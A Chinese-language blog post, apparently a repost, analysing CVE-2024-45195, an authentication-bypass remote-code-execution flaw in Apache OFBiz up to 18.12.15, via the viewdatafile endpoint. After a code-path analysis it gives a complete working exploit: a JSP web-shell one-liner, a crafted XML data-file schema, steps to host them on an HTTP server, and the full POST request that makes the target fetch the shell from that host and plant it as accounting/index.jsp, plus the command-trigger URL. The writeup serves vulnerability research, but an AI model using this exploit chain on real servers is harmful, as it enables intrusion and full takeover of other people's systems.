ofbiz权限绕过远程执行漏洞(CVE-2024-45195)

文摘   2024-09-10 11:01   北京  


在ofbiz的新版本中,对ProgramExport和EntitySQLProcessor添加了权限校验,如果需要造成命令执行,就需要寻找其他的可执行命令点,这里是viewdatafile,该漏洞可是说是对cve-2024-36104的绕过

一、漏洞简介

CVE-2024-45195算是对前些漏洞,比如 CVE-2024-36104的绕过,在之前的漏洞利用点中,最常使用的两个模板ProgramExport和EntitySQLProcessor

但是自从18.12.14开始,这两个模板添加了权限的校验

虽然添加了权限的校验,但是模板覆写导致端点不同导致权限绕过的问题还是可能存在的

二、影响版本

ofbiz≤18.12.15

三、环境搭建

下载源码

https://codeload.github.com/apache/ofbiz-framework/zip/refs/tags/release18.12.15

idea打开之后,配置gradle,执行下面的build得到jar包

最后执行数据导入,在下载的文件夹的根目录执行gradlew loadAll

开始调试即可

四、漏洞原理分析

对于权限的绕过,下文描述的很清楚了

https://forum.butian.net/article/524

主要就是两个函数收到的不同端点来处理业务

这里分析一下viewdatafile.groovy这个文件是

如何替代ProgramExport和EntitySQLProcessor来执行命令的


首先接收

DATAFILE_SAVE,ENTITYXML_FILE_SAVE,DATAFILE_LOCATION,DEFINITION_LOCATION,DEFINITION_NAME,DATAFILE_IS_URLDEFINITION_IS_URL

这些参数,然后根据dataFileIsUrl和definitionIsUrl这两个参数的值是否为true,来设置dataFileUrl和definitionUrl为URL类型的值

如果definitionUrl有值,

则进入getModelDataFileReader方法

先从readers里面读取,

如果没有的话就根据传入的url来创建一个

这里createModelDataFiles 

方法里面就去远程读取xml文件

xml文档的示例

https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz's+Data+File+Tools

后续就是对xml文档的解析,然后返回这个xml文档的句柄 reader.getDataFileNames()).iterator() 得到该xml文档data-file属性的迭代对象

进入readFile方法

这里第一步就是重复上面的步骤,

返回一个xml文档的DataFile对象回到readFile

进入readDataFile方法这里也有一个与之前类似的方法,读取外部的链接,

然后setupStream方法保存

在setupStream方法的调用流里面需要注意的点是,远程读取了恶意的jspshell之后,后续会根据之前读取的xml配置文件里面配置的length长度来读取,并且根据name属性来保存成一个key value的形式以便后续读取

回到viewdatafile.groovy

getModelDataFile 返回数据模型对象,进入writeDataFile 方法,

传入文件保存位置的参数

writeDataFile当中保存shell

五、漏洞复现

创建文件rcereport.txt

<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

rceschema.xml

<data-files xsi:noNamespaceSchemaLocation="<http://ofbiz.apache.org/dtds/datafiles.xsd>" xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>">        <data-file name="jspshell" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">            <record name="jspshell" limit="many">                <field name="jspshell" type="String" length="60" position="0"></field>            </record>        </data-file>    </data-files>

rceschema.xml里面几个主要的值

data-file必须和数据包里的DEFINITION_NAME值相同

length长度为rcereport.txt-1

在这两个文件的目录下起一个python http服务 

python -m http.server

发送数据包即可

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1Host: 127.0.0.1:8443User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, br, zstdConnection: keep-aliveCookie: JSESSIONID=2778A721833652B44A6A08356E4855B3.jvm1; OFBiz.Visitor=10000Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: cross-siteContent-Length: 246
DATAFILE_LOCATION=http://127.0.0.1:8000/rcereport.txt&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8000/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=jspshell


最后访问

/accounting/index.jsp?cmd=calc

六、总结

CVE-2024-45195和之前的CVE-2024-36104的执行命令方式大致相似,只不过是将ProgramExport和EntitySQLProcessor换成了viewdatafile来执行代码

转载:奇安信攻防社区-ofbiz权限绕过远程执行漏洞(CVE-2024-45195) (butian.net)

嗨嗨安全
提供网络安全资料与工具,分享攻防实战经验和思路。
 最新文章